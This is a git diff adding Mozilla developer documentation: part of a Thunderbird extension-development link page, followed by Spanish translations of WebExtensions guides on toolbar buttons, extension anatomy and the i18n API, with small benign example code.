+    <p>Thunderbird has a subsystem called Gloda. Gloda stands for « Global Database », and creates Thunderbird-wide relations between objects. Gloda provides concepts such as Conversations, Messages, Identities, Contacts. All these concepts are related together: a Conversation contains Messages which are linked to Identities (<strong>from</strong> field, <strong>to</strong> field) which are themselves part of a Contact: indeed, a contact has multiple identities.</p>
+
+    <p>Typical use cases for Gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc.</p>
+
+    <p>Gloda is extremely powerful and is used heavily by add-ons such as <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/" title="https://addons.mozilla.org/en-US/thunderbird/addon/gmail-conversation-view/">Thunderbird Conversations</a>. Learn more about Gloda:</p>
+
+    <ul>
+     <li>an overview of <a href="/en/Thunderbird/gloda" title="Gloda">Gloda</a></li>
+     <li>learn how to create <a href="/en/Thunderbird/Creating_a_Gloda_message_query" title="Creating a gloda message query">your first message query</a> and read the <a href="/en/Thunderbird/Gloda_examples" title="Gloda examples">gloda examples</a></li>
+     <li>learn about the Gloda internals: <a href="/en/Thunderbird/Gloda_debugging" title="Gloda debugging">Gloda debugging</a>, <a href="/en/Thunderbird/Gloda_indexing" title="Gloda indexing">Gloda indexing</a></li>
+    </ul>
+
+    <h3 id="More_Thunderbird-specific_links">More Thunderbird-specific links</h3>
+
+    <p>Some of these links may be wildly out of date, but they still provide valuable information on the codebase.</p>
+
+    <ul>
+     <li><a class="internal" href="/en/Extensions/Thunderbird/An_overview_of_the_Thunderbird_interface" title="En/Extensions/Thunderbird/An overview of the Thunderbird interface">An overview of Thunderbird components</a></li>
+     <li><a class="internal" href="/en/Extensions/Thunderbird/Thunderbird_developer_reference_docs" title="en/Extensions/Thunderbird/Thunderbird developer reference docs">Developer reference docs</a>:
+      <ul>
+       <li><a class="internal" href="/en/Folders" title="En/Folders">Folder classes</a></li>
+       <li><a class="internal" href="/en/DB_Views_(message_lists)" title="En/DB Views (message lists)">DB views (message list)</a></li>
+       <li><a class="internal" href="/en/Message_Summary_Database" title="En/Message Summary Database">Message summary database</a></li>
+       <li><a class="internal" href="/en/MailNews_Protocols" title="En/MailNews Protocols">MailNews protocols</a></li>
+       <li><a class="internal" href="/En/MailNews_Filters" rel="internal" title="En/MailNews Filters">MailNews filters</a></li>
+       <li><a class="internal" href="/en/Extensions/Thunderbird/Error_reporting_tools" title="en/Extension Library/Extensions/Thunderbird/Error reporting tools">Error reporting tools</a></li>
+       <li><a href="/en/Toolkit_API/STEEL" title="en/Toolkit API/STEEL">STEEL library</a> (not actively developed anymore, use   <a class="link-https" href="https://github.com/protz/thunderbird-stdlib" title="https://github.com/protz/thunderbird-stdlib">https://github.com/protz/thunderbird-stdlib</a>)</li>
+       <li><a class="external" href="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html" title="http://quetzalcoatal.blogspot.com/2010/01/developing-new-account-types-part-0.html">Developing new account types</a> <strong>NEW!</strong></li>
+      </ul>
+     </li>
+     <li><a class="internal" href="/en/Extensions/Thunderbird/Useful_newsgroups_discussions" title="En/Extensions/Thunderbird/Useful newsgroups discussions">Useful newsgroup discussions</a> (watch out, anything that's too old should be regarded suspiciously; there's been significant API rewrite over the past years, and most of these techniques are considerably easier now) </li>
+     <li><a href="/en/Thunderbird/Thunderbird_API_documentation" title="en/Thunderbird/Thunderbird API documentation">Thunderbird API docs</a> (mostly a collection of out-of-date pages, relevance is rather dubious) </li>
+     <li><a href="/En/Thunderbird_3_for_developers" title="En/Thunderbird 3 for developers">Thunderbird 3 for developers</a> and <a href="/en/Thunderbird_3.1_for_developers" title="en/Thunderbird 3.1 for developers">Thunderbird 3.1 for developers</a> - changes in the recent Thunderbird updates affecting add-on developers. <a href="/Thunderbird_5_for_developers" title="Thunderbird 5 for developers">Thunderbird 5 for developers</a> has important information on MsgHdrToMimeMessage which is a central piece of code.</li>
+    </ul>
+
+    <h3 id="General_links">General links</h3>
+
+    <ul>
+     <li><a class="internal" href="/en/Extensions" title="en/Extensions">General information on developing extensions for Mozilla applications</a></li>
+     <li><a href="/en/Extensions/Thunderbird/Finding_the_code_for_a_feature" title="en/Extensions/Thunderbird/Finding the code for a feature">Finding the code for a feature</a></li>
+     <li><a class="external" href="http://kb.mozillazine.org/Category:Thunderbird" title="http://kb.mozillazine.org/Category:Thunderbird">Mozillazine articles on Thunderbird</a></li>
+     <li><a href="/Special:Tags?tag=Thunderbird" title="https://developer.mozilla.org/Special:Tags?tag=Thunderbird">All pages tagged with Thunderbird</a></li>
+     <li><a href="/Special:Tags?tag=MailNews" title="https://developer.mozilla.org/Special:Tags?tag=MailNews">All pages tagged with MailNews</a></li>
+    </ul>
+   </td>
+   <td>
+    <h2 id="Community" name="Community">Community</h2>
+
+    <ul>
+     <li>See the list of all <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">Thunderbird communication channels </a>first</li>
+     <li>Among these are:</li>
+    </ul>
+
+    <p>{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}</p>
+
+    <ul>
+     <li><a class="link-irc" href="irc://moznet/#extdev">#extdev IRC channel</a> / <a class="link-irc" href="irc://moznet/#maildev">#maildev IRC channel</a></li>
+     <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=19">MozillaZine forum</a></li>
+     <li><a class="external" href="http://mozdev.org/mailman/listinfo/project_owners">mozdev project owners</a></li>
+     <li><a href="/en/Extensions/Community" title="en/Extensions/Community">Other community links...</a></li>
+    </ul>
+
+    <h2 id="Tools" name="Tools">Tools</h2>
+
+    <ul>
+     <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> edit the live DOM (Firefox and Thunderbird)</li>
+     <li><a class="link-https" href="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/" title="https://addons.mozilla.org/thunderbird/addon/workspace-for-thunderbird/">Workspace for Thunderbird</a>, allows running code snippets in Thunderbird and inspecting variable structure and content</li>
+     <li><a class="external" href="http://www.hacksrus.com/~ginda/venkman/" rel="external nofollow" title="http://www.hacksrus.com/~ginda/venkman/">Venkman</a>, a JavaScript debugger (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/216">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/216" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/216">Thunderbird</a>)</li>
+     <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434/" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/7434/">Extension Developer's Extension</a> a suite of development tools</li>
+     <li><a class="external" href="http://www.gijsk.com/" rel="external nofollow" title="http://www.gijsk.com/">Chrome List</a> view files in chrome:// (<a class="external" href="http://addons.mozilla.org/en-US/firefox/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/firefox/addon/4453">Firefox</a>, <a class="external" href="http://addons.mozilla.org/en-US/thunderbird/addon/4453" rel="external nofollow" title="http://addons.mozilla.org/en-US/thunderbird/addon/4453">Thunderbird</a>)</li>
+     <li><a class="external" href="http://addons.mozilla.org/en-US/developers/tools/builder" rel="external nofollow" title="http://addons.mozilla.org/en-US/developers/tools/builder">Add-on Builder</a> a web-based extension skeleton generator (Firefox and Thunderbird)</li>
+     <li><a href="/en/Mozmill" title="en/Mozmill">Mozmill</a> test tool and framework</li>
+     <li><a class="external" href="http://xpcomviewer.mozdev.org/" rel="external nofollow" title="http://xpcomviewer.mozdev.org">XPCOMViewer</a> an XPCOM inspector (Firefox and Thunderbird)</li>
+    </ul>
+
+    <p>... <a class="internal" href="/en/Setting_up_extension_development_environment#Development_extensions" title="en/Setting up extension development environment#Development extensions">more tools</a> ...</p>
+
+    <p><span class="alllinks"><a href="/Special:Tags?tag=Extensions:Tools&amp;language=en" title="Special:Tags?tag=Extensions:Tools&amp;language=en">View All...</a></span></p>
+
+    <h2 id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+    <dl>
+     <dd><a href="/en/XUL" title="en/XUL">XUL</a>, <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/en/Themes" title="en/Themes">Themes</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
+
+<p>{{ languages( { "ja": "ja/Extensions/Thunderbird" } ) }}</p>
diff --git a/files/es/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html b/files/es/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html
new file mode 100644
index 0000000000..1bccc9d703
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html
@@ -0,0 +1,220 @@
+---
+title: Agregar botón a la barra de herramientas
+slug: Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar
+translation_of: Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar
+---
+<div>{{AddonSidebar}}</div>
+
+<p>La barra de herramientas es una de las principales componentes UI disponibles para las extensiones. Toolbar buttons live in the main browser toolbar y contienen un icono. Cuando el usuario da click en el icono, dos cosas pueden suceder:</p>
+
+<ul>
+ <li>Si tu tienes especificado un popup para el icono, se va a mostrar. Popups son  transitorios cuadros de diálogos creados usando  HTML, CSS, y JavaScript.</li>
+ <li>Si no tu tienes especificado un popup, un evento del click es generado,el cual puede ser detectado en tu codigo para realizar alguna acción  y responderla.</li>
+</ul>
+
+<p>Con las  APIs de WebExtension, este tipo de botón es se llaman "browser actions", y son  configurados de la siguiente manera:</p>
+
+<ul>
+ <li>La clave  <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code>  en manifest.json es usada para definir el  botón.</li>
+ <li>La API de JavaScript <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code> es usada para escuchar los  clicks y cambiar el botón o realizar alguna acción en el codigo.</li>
+</ul>
+
+<h2 id="Un_simple_botón">Un simple botón</h2>
+
+<p>En esta sección vamos a crear una extension que agrega un botón a la barra de herramientas. Cuando el usuario de click en el botón, vamos abrir <a href="https://developer.mozilla.org">https://developer.mozilla.org </a>en una nueva pestaña.</p>
+
+<p>Primero, crear una nueva carpeta "botón", y crea un archivo con el nombre de "manifest.json"  con el siguiente contenido:</p>
+
+<pre class="brush: json">{
+
+  "description": "Demostrando botones de la barra de herramientas",
+  "manifest_version": 2,
+  "name": "botón-demo",
+  "version": "1.0",
+
+  "background": {
+    "scripts": ["background.js"]
+  },
+
+  "browser_action": {
+    "default_icon": {
+      "16": "icons/page-16.png",
+      "32": "icons/page-32.png"
+    }
+  }
+
+}</pre>
+
+<p>Esto especifica que tenemos un  <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">background script</a>  llamado "background.js",  y un <strong>browser action</strong> (butón) cuyo icono va a estar en la carpeta "icons".</p>
+
+<div class="pull-aside">
+<div class="moreinfo">Estos iconos son de  <a href="https://www.iconfinder.com/iconsets/bitsies">bitsies!</a> conjunto de iconos creados por Recep Kütük.</div>
+</div>
+
+<p>Despues, dentro del folder "botón"  crea la carpeta "icons"  y dentro de el guarda estos dos iconos:</p>
+
+<ul>
+ <li>"page-16.png" (<img alt="" src="https://mdn.mozillademos.org/files/13476/page-16.png" style="height: 16px; width: 16px;">)</li>
+ <li>"page-32.png" (<img alt="" src="https://mdn.mozillademos.org/files/13478/page-32.png" style="height: 32px; width: 32px;">).</li>
+</ul>
+
+<div style=""> </div>
+
+<p>Tenemos dos iconos entonces podemos usar el mas grande para las <span id="result_box" lang="es"><span>pantallas de alta densidad</span></span>. El navegador se va encargar de seleccionar el correcto para cada pantalla.</p>
+
+<p>Despues, crea "background.js" en la raiz del folder de la extension, y agrega el siguiente contenido:</p>
+
+<pre class="brush: js">function openPage() {
+  browser.tabs.create({
+    url: "https://developer.mozilla.org"
+  });
+}
+
+browser.browserAction.onClicked.addListener(openPage);</pre>
+
+<p>Esto esta a la espera de de el navegador se de click; cuando el evento se dispara, la funcion <code>openPage()</code> comienza a ejecutarse,  el cual abre la página especificada usando la API de <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></code>.</p>
+
+<p>En este momento la extension debe de mirarse asi:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">button/
+    icons/
+        page-16.png
+        page-32.png
+    background.js
+    manifest.json</code></pre>
+
+<p>Ahora  <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">instala la extensión</a>  y da  click en el botón:</p>
+
+<p>{{EmbedYouTube("kwwTowgT-Ys")}}</p>
+
+<h2 id="Agregando_un_popup">Agregando un popup</h2>
+
+<p>Vamos a intentar agregar un popup al botón.  Remplaza el manifest.json con este contenido:</p>
+
+<pre class="brush: json">{
+
+  "description": "Demostrando botones de la barra de herramientas",
+  "manifest_version": 2,
+  "name": "botón-demo",
+  "version": "1.0",
+
+  "browser_action": {
+    "browser_style": true,
+    "default_popup": "popup/choose_page.html",
+    "default_icon": {
+      "16": "icons/page-16.png",
+      "32": "icons/page-32.png"
+    }
+  }
+
+}</pre>
+
+<p>Realizamos tres cambios:</p>
+
+<ul>
+ <li>Ya no hacemos referencia a  "background.js",  porque ahora nosotros vamos a controlar la lógica de la extensión en el script del popup (También es posible background.js  como un popup,  es solo qu no lo necesitamos en este caso).</li>
+ <li>Agregamos <code>"browser_style": true</code>, cual nos ayuda a dar estiloa nuestro popup y luzca mas integrado al navegador.</li>
+ <li>Finalmente, agregamos <code>"default_popup": "popup/choose_page.html"</code>, cual le dice al navegador que esta acción ahora va a mostar un popup cuando se haga click , usando el documento que se encuentra en "popup/choose_page.html".</li>
+</ul>
+
+<p>Entonces ahora necesitamos crear el  popup. Crea un folder llamado "popup"  y crea adentro el archivo  "choose_page.html" . agregale el siguiente contenido:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;link rel="stylesheet" href="choose_page.css"/&gt;
+  &lt;/head&gt;
+
+&lt;body&gt;
+  &lt;div class="page-choice"&gt;developer.mozilla.org&lt;/div&gt;
+  &lt;div class="page-choice"&gt;support.mozilla.org&lt;/div&gt;
+  &lt;div class="page-choice"&gt;addons.mozilla.org&lt;/div&gt;
+  &lt;script src="choose_page.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+
+<p>Puedes notar que es un nomal archivo HTML que contiene tres elementos {{htmlelement("div")}}, con direcciones de Mozilla. También incluye archivos de CSS y  JavaScript, en los cuales vamos agregar lo siguiente.</p>
+
+<p>Crea el archivo "choose_page.css"  adentro de la carpeta "popup" , con el siguiente contenido:</p>
+
+<pre class="brush: css">html, body {
+  width: 300px;
+}
+
+.page-choice {
+  width: 100%;
+  padding: 4px;
+  font-size: 1.5em;
+  text-align: center;
+  cursor: pointer;
+}
+
+.page-choice:hover {
+  background-color: #CFF2F2;
+}</pre>
+
+<p>Es solo un poco de estilo a nuestro popup.</p>
+
+<p>Ahora, crea un  archivo "choose_page.js" dentro del folder "popup" con el siguiente contenido:</p>
+
+<pre class="brush: js">document.addEventListener("click", function(e) {
+  if (!e.target.classList.contains("page-choice")) {
+    return;
+  }
+
+  var chosenPage = "https://" + e.target.textContent;
+  browser.tabs.create({
+    url: chosenPage
+  });
+
+});</pre>
+
+<p>En nuestro JavaScript,  esta a la espera de clicks en las opciones de nuestro popup. Primero revisa si el click fue en una de nuestras elecciones, si no, no realizamos nada mas. Se seleccion una carga una página elegida,  en una nueva pestaña con la correspondiente página. Nota que podemos usar las APIs WebExtension  en el script del popup, como también scripts de fondo.</p>
+
+<p>La  estructura de la extensión final debe ser como esta:</p>
+
+<pre>button/
+    icons/
+        page-16.png
+        page-32.png
+    popup/
+        choose_page.css
+        choose_page.html
+        choose_page.js
+    manifest.json</pre>
+
+<p>Ahora vamos a recargar la extensión, click en el botón  otra vez e intenta dar click en las opciones del popup:</p>
+
+<p>{{EmbedYouTube("QPEh1L1xq0Y")}}</p>
+
+<h2 id="Acciones_de_página">Acciones de página</h2>
+
+<p><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">Acciones de página</a> son como las acciones del navegador, excepto que son acciones relevantes solo para algunas página en particular.</p>
+
+<p>Mientras de las acciones del navegaro siembre son mostradas, las acciones de página son solo mostradas en pestañas donde son relevantes. Los botones de las acciones de página son mostradas en la barra URL , en vez de la barra de herramientas del navegador.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action">browser_action</a></code> manifest key</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code> API</li>
+ <li>Ejemplos de acciones del navegador:
+  <ul>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a></li>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/bookmark-it">Bookmark it!</a></li>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/favourite-colour">favourite-colour</a></li>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/inpage-toolbar-ui">inpage-toolbar-ui</a></li>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/open-my-page-button">open-my-page-button</a></li>
+  </ul>
+ </li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action">page_action</a></code> manifest key</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></code> API</li>
+ <li>Ejemplos de Acciones de página:
+  <ul>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/chill-out">chill-out</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/anatomia_de_una_webextension/index.html b/files/es/mozilla/add-ons/webextensions/anatomia_de_una_webextension/index.html
new file mode 100644
index 0000000000..685e282bf9
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/anatomia_de_una_webextension/index.html
@@ -0,0 +1,120 @@
+---
+title: Anatomía de una extension
+slug: Mozilla/Add-ons/WebExtensions/Anatomia_de_una_WebExtension
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Una extensión se compone de una colección de archivos, empaquetados para su distribución e instalación. En este artículo vamos a repasar rápidamente los archivos que deben estar presentes en una extensión.</p>
+
+<p>Toda extensión debe contener un archivo llamado <a href="/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#manifest.json">"manifest.json"</a>. Este puede tener enlaces a otros tipos de archivos:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Scripts_en_segundo_plano">Páginas en segundo plano</a>: implementan la lógica de larga ejecución.</li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Scripts_de_contenido">Scripts de contenido</a>: interactúan con las páginas web (note que esto no es lo mismo que JavaScript en un elemento {{HTMLElement("script")}} dentro de una página).</li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Acciones_del_navegador_2">Archivos de acción del navegador</a>: implementan los botones de la barra de herramientas.</li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Acciones_de_las_páginas">Archivos de acción de la página: </a>Implementan botones en la barra de direcciones.</li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Opciones_de_las_páginas">Páginas de opciones</a>: Definen una IU para que los usuarios vean y cambien las configuraciones de la extensión.</li>
+ <li>
+  <div id="gt-res-content">
+  <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="es"><span><a href="/es/Add-ons/WebExtensions/user_interface/Sidebars">archivos de la barra lateral</a>: agregue una barra lateral al navegador.</span></span></div>
+  </div>
+ </li>
+ <li><a href="https://developer.mozilla.org/es/Add-ons/WebExtensions/Anatomia_de_una_WebExtension#Recursos_web_accesibles">Recursos Web accesibles</a>: Hace posible que el contenido empaquetado acceda a páginas web y scripts.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13669/webextension-anatomy.png" style="display: block; height: 581px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<h2 id="manifest.json">manifest.json</h2>
+
+<p>Este es el único archivo que debe estar presente en toda WebExtension. Este contiene los metadatos básicos acerca de la extensión, como su nombre, versión, y los permisos que esta requiere. También provee los enlaces a otros archivos de la extensión.</p>
+
+<p>Mira la página de referencia <a href="/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a> para ver todos los detalles.</p>
+
+<h2 id="Scripts_en_segundo_plano">Scripts en segundo plano</h2>
+
+<p>Las extensiones a menudo necesitan mantener estados de larga duración, o ejecutar operaciones a largo plazo, independientemente del tiempo de vida de una página web en particular o las ventanas del navegador. Para eso son los scripts en segundo plano.</p>
+
+<p>Los scripts en segundo plano son cargados cuando la extensión es cargada y se mantienen cargados hasta que la extensión es deshabilitada o desinstalada. Tu puedes usar cualquier <a href="/es/Add-ons/WebExtensions/API">API de WebExtensions</a> en el script, siempre y cuando hayas solicitado el <a href="/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permiso</a> necesario.</p>
+
+<h3 id="Especificando_los_scripts_en_segundo_plano">Especificando los scripts en segundo plano</h3>
+
+<p>Puedes incluir un script en segundo plano usando la propiedad <code>background</code> en "manifest.json":</p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "scripts": ["background-script.js"]
+}</pre>
+
+<p>Puedes especificar múltiples scripts en segundo plano: si lo haces, ellos se ejecutarán en el mismo contexto, justo como son cargados múltiples scripts en una página web.</p>
+
+<h3 id="Entorno_del_script_en_segundo_plano">Entorno del script en segundo plano</h3>
+
+<h4 id="APIs_del_DOM">APIs del DOM</h4>
+
+<p>Los scripts en segundo plano se ejecuta en el contexto de páginas especiales llamadas páginas en segundo plano. Esto le da un variable global <code><a href="/es/docs/Web/API/Window">window</a></code>, junto con todas las APIs estándar del DOM que proporciona.</p>
+
+<p>No necesitas proveer tu propia página en segundo plano. Si incluyes un script en segundo plano, una página en segundo plano vacía se creará para ti.</p>
+
+<p>Sin embargo, puedes escoger y proveer tu página en segundo plano como un archivo HTML separado:</p>
+
+<pre class="brush: json">// manifest.json
+
+"background": {
+  "page": "background-page.html"
+}</pre>
+
+<h4 id="APIs_de_WebExtension">APIs de WebExtension</h4>
+
+<p>Los scripts en segundo plano pueden usar cualquier <a href="/es/Add-ons/WebExtensions/API">API de WebExtension</a> en el script, siempre que tu extensión tenga los <a href="/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permisos</a> necesarios.</p>
+
+<h4 id="Acceso_de_origen_cruzado">Acceso de origen cruzado</h4>
+
+<p>Los scripts en segundo plano pueden hacer peticiones XHR a cualquier host para los cuales tienen <a href="/es/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permisos del host</a>.</p>
+
+<h4 id="Acciones_del_navegador">Acciones del navegador</h4>
+
+<p>Si tu extensión define una acción del navegador, y esa acción del navegador no tiene ventanas emergentes, entonces puedes escuchar los eventos "clic" del botón en el navegador empleando el objeto <code><a href="/es/Add-ons/WebExtensions/API/browserAction#onClicked">onClicked</a></code> de las acciones del navegador:</p>
+
+<pre class="brush: js">browser.browserAction.onClicked.addListener(handleClick);</pre>
+
+<h4 id="Contenido_web">Contenido web</h4>
+
+<p>Los scripts en segundo plano no tienen acceso directo a las páginas web. Sin embargo, pueden cargar <a href="/es/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">scripts de contenido</a> en páginas web, y <a href="/en-US/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts">comunicarse con esos scripts empleando la API de paso de mensajes</a>.</p>
+
+<h4 id="Políticas_de_segurdiad_para_el_contendio">Políticas de segurdiad para el contendio</h4>
+
+<p>Los scripts de segundo plano están restringidos de algunas operaciones dañinas, como el uso de <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code>, a través de la  Política de Seguridad del Contenido. Vea la <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Política de Segurdiad del Contenido </a>para más detalles sobre esto.</p>
+
+<h2 id="Scripts_de_contenido">Scripts de contenido</h2>
+
+<p>Usa los scripts de contenido para acceder y manipular páginas web. Los scripts de contenido son cargados dentro de las páginas web y ejecutados en el contexto particular de esa página.</p>
+
+<p>Los scripts de contenido son scripts provistos por la extensión los cuales se ejecutan en el contexto de la página web; estos difieren de los scripts que son cargados por la página misma, incluye aquellos que son proporcionados en los elementos {{HTMLElement("script")}} dentro de la página.</p>
+
+<p>Los scripts de contenido pueden ver y manipular el DOM de las páginas, igual que los scripts cargados normalmente por la página.</p>
+
+<p>A diferencia de los scripts normales, ellos pueden:</p>
+
+<ul>
+ <li>Realizar peticiones XHR de dominio cruzado</li>
+ <li>Usar un pequeño subconjunto de las <a href="/es/docs/Mozilla/Add-ons/WebExtensions/API">APIs de WebExtension</a></li>
+ <li>Intercambiar mensajes con sus scripts en segundo plano, y por esta vía, tener acceso indirecto a todas las APIs de WebExtension.</li>
+</ul>
+
+<p>Los scripts de contenido no pueden acceder directamente a los scripts normales de una página web, pero pueden intercambiar mensajes con ellos usando la API estándar <code><a href="/es/docs/Web/API/Window/postMessage">window.postMessage()</a></code>.</p>
+
+<p>Generalmente, cuando hablamos acerca de scripts de contenido, nos referimos a JavaScript, pero tu puedes inyectar CSS dentro de las páginas web empleando el mismo mecanismo.</p>
+
+<p>Mira el artículo <a href="/es/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">scripts de contenido</a> para aprender más.</p>
+
+<h2 id="Recursos_web_accesibles">Recursos web accesibles</h2>
+
+<p>Los recursos web accesibles son recursos como imágenes, HTML, CSS y JavaScript que tu puedes incluir en la extensión y los quieres hacer accesible a los scripts en segundo plano y los scripts de las páginas. Los recursos que son hechos accesibles desde la web pueden ser referenciados desde scripts de páginas web y scripts de contenido mediante un esquema especial de URI.</p>
+
+<p>Por ejemplo, si un script de contenido quiere insertar algunas imágenes dentro de páginas web, tu puedes incluirlos en la extensión y hacerlos accesibles desde la web. El script de contenido creará y añadirá las etiquetas <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img">img</a></code> que referencia a las imágenes mediante el atributo <code>src</code>.</p>
+
+<p>Para aprender más, vea la documentación para la el parámetro <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resource</a> del manifest.json.</p>
diff --git a/files/es/mozilla/add-ons/webextensions/api/i18n/index.html b/files/es/mozilla/add-ons/webextensions/api/i18n/index.html
new file mode 100644
index 0000000000..15f990ac92
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/i18n/index.html
@@ -0,0 +1,94 @@
+---
+title: i18n
+slug: Mozilla/Add-ons/WebExtensions/API/i18n
+tags:
+  - API
+  - Complementos
+  - Interfaz
+  - No estandar
+  - Reference
+  - WebExtensions
+  - extensiones
+  - i18n
+translation_of: Mozilla/Add-ons/WebExtensions/API/i18n
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Funciones para internacionalizar su extensión. Es posible utilizar estas API para obtener cadenas de texto traducidas a partir de archivos de configuración regional incluidos en la extensión, conocer el idioma actual del navegador y recuperar el valor de su <a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header">cabecera Accept-Language</a>.</p>
+
+<p id="See_also">Para obtener más información sobre el uso de i18n en su extensión, consulte:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internacionalización</a>: una guía para utilizar el sistema de l18n de WebExtensions.</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference">Referencia de mensajes específicos de la configuración regional</a>: las extensiones proporcionan cadenas específicas de la configuración regional en archivos denominados <code>messages.json</code>. Esta página describe el formato de <code>messages.json</code>.</li>
+</ul>
+
+<h2 id="Tipos">Tipos</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("i18n.LanguageCode")}}</dt>
+ <dd>Una <a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.10">etiqueta de idioma</a> como «<code>en-US</code>» o «<code>fr</code>».</dd>
+</dl>
+
+<h2 id="Funciones">Funciones</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("i18n.getAcceptLanguages()")}}</dt>
+ <dd>Recupera los valores de <a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header">accept-language</a> del navegador. Esto es distinto de la configuración regional utilizada por el navegador. Para obtener la configuración regional, utilice {{WebExtAPIRef('i18n.getUILanguage')}}.</dd>
+ <dt>{{WebExtAPIRef("i18n.getMessage()")}}</dt>
